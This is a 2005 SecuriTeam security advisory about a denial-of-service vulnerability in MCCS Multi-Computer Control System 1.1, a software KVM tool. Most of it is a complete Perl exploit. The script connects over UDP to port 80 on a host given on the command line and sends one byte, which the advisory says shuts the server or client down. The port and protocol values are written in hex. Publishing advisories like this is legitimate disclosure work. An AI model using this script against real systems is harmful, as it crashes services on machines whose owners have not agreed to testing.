[EXPL] MCCS Server and Client Command DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

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Date: 29 Sep 2005 15:25:43 +0200

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      MCCS Server and Client Command DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.xclusive-software.com/> MCCS "allows you can control up to 15
    computers with single mouse / keyboard. Also, the clipboard is transfered
    from one computer to another when you navigate. No need for expansive KVM
    switch. (Keyboard, Video, Mouse switch). You can be more productive in
    your tasks. ".

    Lack of proper input validation allows attacker to cause a DoS condition
    within MCCS, the following exploit code can be used to test your systems
    for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * MCCS Multi-Computer Control System version 1.1

    Exploit:
    #!usr/bin/perl
    #
    # MCCS Server\Client Command DOS Exploit
    # --------------------------------------
    # Infam0us Gr0up - Securiti Research
    #
    # Info: infamous.2hell.com
    # Vendor URL: www.xclusive-software.com
    #

    use IO::Socket;

    print("\n MCCS Command DOS Exploit\n");
    print("-----------------------------\n");

    $str = "\x41";
    if($#ARGV < 0 | $#ARGV > 1) {
    die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

    $adr = $ARGV[0];
    $prt = "\x38\x30";

    print "[+] Connect to host..\n";
    sleep 2;
    $remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr,
    PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to
    $adr:$prt\n";
    print "[+] Connected\n";
    $remote->autoflush(1);
    print "[+] Sending bad string..\n";
    sleep 2;
    print $remote "$str" or die "[-] Error: can't send string code\n";
    print "[*] Client Server SHUTDOWNED!\n\n";
    print "press any key to exit..\n";
    $bla= <STDIN>;
    close $remote;

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:basher13@linuxmail.org>
    basher13.
    The original article can be found at:
    <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93

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